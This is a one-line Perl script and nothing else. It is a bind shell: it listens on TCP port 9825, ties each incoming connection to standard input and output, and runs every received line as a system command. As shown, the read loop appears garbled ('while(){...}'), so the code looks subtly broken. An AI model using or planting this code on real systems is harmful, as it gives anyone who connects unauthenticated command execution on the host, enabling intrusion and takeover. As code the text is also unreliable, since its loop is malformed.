perl -e 'use IO;while($c=new IO::Socket::INET(LocalPort,9825,Listen,9,Reuse, 1)->accept){STDOUT->fdopen($c,"w");STDIN->fdopen($c,"r"); while(){system$_}}'